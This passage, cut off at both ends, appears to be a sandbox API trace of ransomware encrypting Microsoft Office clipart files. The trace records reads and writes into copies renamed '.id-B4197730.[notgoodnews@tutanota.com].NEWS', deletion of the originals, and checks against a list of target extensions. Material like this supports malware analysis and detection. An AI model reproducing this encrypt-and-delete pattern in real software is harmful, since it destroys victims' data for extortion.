lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.589] SetEndOfFile (hFile=0x330) returned 1 [0075.589] CloseHandle (hObject=0x330) returned 1 [0075.590] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.590] SetEndOfFile (hFile=0x380) returned 1 [0075.591] CloseHandle (hObject=0x380) returned 1 [0075.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0075.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.591] lstrlenW (lpString=".doc") returned 4 [0075.591] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.591] lstrlenW (lpString=".docx") returned 5 [0075.591] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.591] lstrlenW (lpString=".pdf") returned 4 [0075.591] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.591] lstrlenW (lpString=".xls") returned 4 [0075.591] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.591] lstrlenW (lpString=".xlsx") returned 5 [0075.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.591] lstrlenW (lpString=".ppt") returned 4 [0075.591] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.592] lstrlenW (lpString=".zip") returned 4 [0075.592] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString=".rar") returned 4 [0075.592] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString=".bz2") returned 4 [0075.592] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.592] lstrlenW (lpString=".7z") returned 3 [0075.592] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.592] lstrlenW (lpString=".dbf") returned 4 [0075.592] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.592] lstrlenW (lpString=".1cd") returned 4 [0075.592] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.592] lstrlenW (lpString=".jpg") returned 4 [0075.592] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.592] lstrlenW (lpString=".doc") returned 4 [0075.592] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.592] lstrlenW (lpString=".docx") returned 5 [0075.592] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.592] lstrlenW (lpString=".pdf") returned 4 [0075.592] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString=".xls") returned 4 [0075.592] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString=".xlsx") returned 5 [0075.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.592] lstrlenW (lpString=".ppt") returned 4 [0075.592] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.592] lstrlenW (lpString=".zip") returned 4 [0075.592] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.592] lstrlenW (lpString=".rar") returned 4 [0075.592] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.593] lstrlenW (lpString=".bz2") returned 4 [0075.593] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.593] lstrlenW (lpString=".7z") returned 3 [0075.593] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.593] lstrlenW (lpString=".dbf") returned 4 [0075.593] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.593] lstrlenW (lpString=".1cd") returned 4 [0075.593] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 68 [0075.593] lstrlenW (lpString=".jpg") returned 4 [0075.593] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.593] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0075.593] lstrlenW (lpString="AG00176_.GIF") returned 12 [0075.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.601] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3120) returned 1 [0075.601] CloseHandle (hObject=0x2c4) returned 1 [0075.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0075.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.602] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.602] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0075.602] GetLastError () returned 0x0 [0075.602] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xc30, lpOverlapped=0x0) returned 1 [0075.604] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xc40, lpOverlapped=0x0) returned 1 [0075.605] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.605] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.605] SetEndOfFile (hFile=0x384) returned 1 [0075.605] CloseHandle (hObject=0x384) returned 1 [0075.606] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.606] SetEndOfFile (hFile=0x2c4) returned 1 [0075.607] CloseHandle (hObject=0x2c4) returned 1 [0075.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0075.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.607] lstrlenW (lpString=".doc") returned 4 [0075.607] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.607] lstrlenW (lpString=".docx") returned 5 [0075.607] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.607] lstrlenW (lpString=".pdf") returned 4 [0075.607] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString=".xls") returned 4 [0075.608] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString=".xlsx") returned 5 [0075.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.608] lstrlenW (lpString=".ppt") returned 4 [0075.608] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.608] lstrlenW (lpString=".zip") returned 4 [0075.608] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString=".rar") returned 4 [0075.608] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString=".bz2") returned 4 [0075.608] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.608] lstrlenW (lpString=".7z") returned 3 [0075.608] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.608] lstrlenW (lpString=".dbf") returned 4 [0075.608] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.608] lstrlenW (lpString=".1cd") returned 4 [0075.608] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.608] lstrlenW (lpString=".jpg") returned 4 [0075.608] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.608] lstrlenW (lpString=".doc") returned 4 [0075.608] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.608] lstrlenW (lpString=".docx") returned 5 [0075.608] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.608] lstrlenW (lpString=".pdf") returned 4 [0075.608] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString=".xls") returned 4 [0075.608] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.608] lstrlenW (lpString=".xlsx") returned 5 [0075.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.609] lstrlenW (lpString=".ppt") returned 4 [0075.609] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.609] lstrlenW (lpString=".zip") returned 4 [0075.609] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.609] lstrlenW (lpString=".rar") returned 4 [0075.609] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.609] lstrlenW (lpString=".bz2") returned 4 [0075.609] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.609] lstrlenW (lpString=".7z") returned 3 [0075.609] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.609] lstrlenW (lpString=".dbf") returned 4 [0075.609] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.609] lstrlenW (lpString=".1cd") returned 4 [0075.609] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0075.609] lstrlenW (lpString=".jpg") returned 4 [0075.609] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.609] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.609] lstrlenW (lpString="AN00010_.WMF") returned 12 [0075.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.610] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3026) returned 1 [0075.610] CloseHandle (hObject=0x2c4) returned 1 [0075.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0075.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.610] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.610] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0075.610] GetLastError () returned 0x0 [0075.610] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0075.614] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0075.615] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.615] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.615] SetEndOfFile (hFile=0x384) returned 1 [0075.615] CloseHandle (hObject=0x384) returned 1 [0075.616] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.616] SetEndOfFile (hFile=0x2c4) returned 1 [0075.617] CloseHandle (hObject=0x2c4) returned 1 [0075.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0075.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.618] lstrlenW (lpString=".doc") returned 4 [0075.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString=".docx") returned 5 [0075.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.618] lstrlenW (lpString=".pdf") returned 4 [0075.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString=".xls") returned 4 [0075.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.618] lstrlenW (lpString=".xlsx") returned 5 [0075.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.618] lstrlenW (lpString=".ppt") returned 4 [0075.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.618] lstrlenW (lpString=".zip") returned 4 [0075.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.618] lstrlenW (lpString=".rar") returned 4 [0075.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString=".bz2") returned 4 [0075.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString=".7z") returned 3 [0075.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.618] lstrlenW (lpString=".dbf") returned 4 [0075.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.618] lstrlenW (lpString=".1cd") returned 4 [0075.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.618] lstrlenW (lpString=".jpg") returned 4 [0075.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.619] lstrlenW (lpString=".doc") returned 4 [0075.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.619] lstrlenW (lpString=".docx") returned 5 [0075.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.619] lstrlenW (lpString=".pdf") returned 4 [0075.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.619] lstrlenW (lpString=".xls") returned 4 [0075.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.619] lstrlenW (lpString=".xlsx") returned 5 [0075.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.619] lstrlenW (lpString=".ppt") returned 4 [0075.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.619] lstrlenW (lpString=".zip") returned 4 [0075.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.619] lstrlenW (lpString=".rar") returned 4 [0075.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.619] lstrlenW (lpString=".bz2") returned 4 [0075.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.619] lstrlenW (lpString=".7z") returned 3 [0075.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.619] lstrlenW (lpString=".dbf") returned 4 [0075.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.619] lstrlenW (lpString=".1cd") returned 4 [0075.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0075.619] lstrlenW (lpString=".jpg") returned 4 [0075.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.620] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.620] lstrlenW (lpString="AN00015_.WMF") returned 12 [0075.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.620] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4734) returned 1 [0075.620] CloseHandle (hObject=0x2c4) returned 1 [0075.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0075.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.621] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.621] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0075.621] GetLastError () returned 0x0 [0075.621] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x127e, lpOverlapped=0x0) returned 1 [0075.624] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1280, lpOverlapped=0x0) returned 1 [0075.625] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.625] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.625] SetEndOfFile (hFile=0x384) returned 1 [0075.625] CloseHandle (hObject=0x384) returned 1 [0075.626] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, 